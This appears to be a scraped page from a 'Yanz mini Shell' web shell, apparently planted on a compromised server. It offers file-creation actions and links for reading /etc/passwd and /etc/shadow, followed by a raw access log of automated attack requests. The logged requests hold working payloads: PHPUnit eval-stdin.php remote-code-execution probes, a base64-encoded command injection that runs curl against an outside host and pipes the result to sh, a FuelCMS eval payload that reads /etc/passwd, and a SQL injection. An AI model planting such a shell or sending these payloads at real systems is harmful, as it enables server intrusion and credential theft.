Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

198.235.24.72 - - [22/Jul/2025:19:38:00 +0530] "GET / HTTP/1.1" 200 447 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
34.19.9.194 - - [22/Jul/2025:20:44:18 +0530] "GET / HTTP/1.1" 200 447 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)"
162.253.155.145 - - [22/Jul/2025:20:58:08 +0530] "POST /php/change_config.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Fedora; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
162.253.155.145 - - [22/Jul/2025:20:59:25 +0530] "POST /php/change_config.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
162.253.155.145 - - [22/Jul/2025:20:59:26 +0530] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
162.253.155.145 - - [22/Jul/2025:21:00:42 +0530] "GET /php/setup.php?step=4&PDF2SWF_PATH=echo+Y3VybCBvYXN0LnBybw==+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"
162.253.155.145 - - [22/Jul/2025:21:00:44 +0530] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Knoppix; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
162.253.155.145 - - [22/Jul/2025:21:02:00 +0530] "GET /php/config/output.txt HTTP/1.1" 500 683 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
162.253.155.145 - - [22/Jul/2025:21:02:01 +0530] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (X11; U; Linux x86_64; rv:100.0esr) Gecko/20012409 Firefox/100.0esr"
162.253.155.145 - - [22/Jul/2025:21:03:18 +0530] "GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
162.253.155.145 - - [22/Jul/2025:21:04:35 +0530] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0"
162.253.155.145 - - [22/Jul/2025:21:05:52 +0530] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
162.253.155.145 - - [23/Jul/2025:01:02:34 +0530] "POST /web/google_analytics.php HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
162.253.155.145 - - [23/Jul/2025:01:02:34 +0530] "POST /upload HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
162.253.155.145 - - [23/Jul/2025:01:02:34 +0530] "POST /public/login.htm?file=/api/addusers.htm HTTP/1.1" 500 683 "http://svm-smarket.firstmatrix.co.in" "Mozilla/5.0 (SS; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0"
162.253.155.145 - - [23/Jul/2025:01:02:35 +0530] "POST /ws/rest/v1/xxxxxx HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
162.253.155.145 - - [23/Jul/2025:01:02:35 +0530] "POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1" 500 683 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"
162.253.155.145 - - [23/Jul/2025:01:02:35 +0530] "GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1" 500 683 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0"
162.253.155.145 - - [23/Jul/2025:01:02:35 +0530] "GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1" 500 683 "http://svm-smarket.firstmatrix.co.in" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0"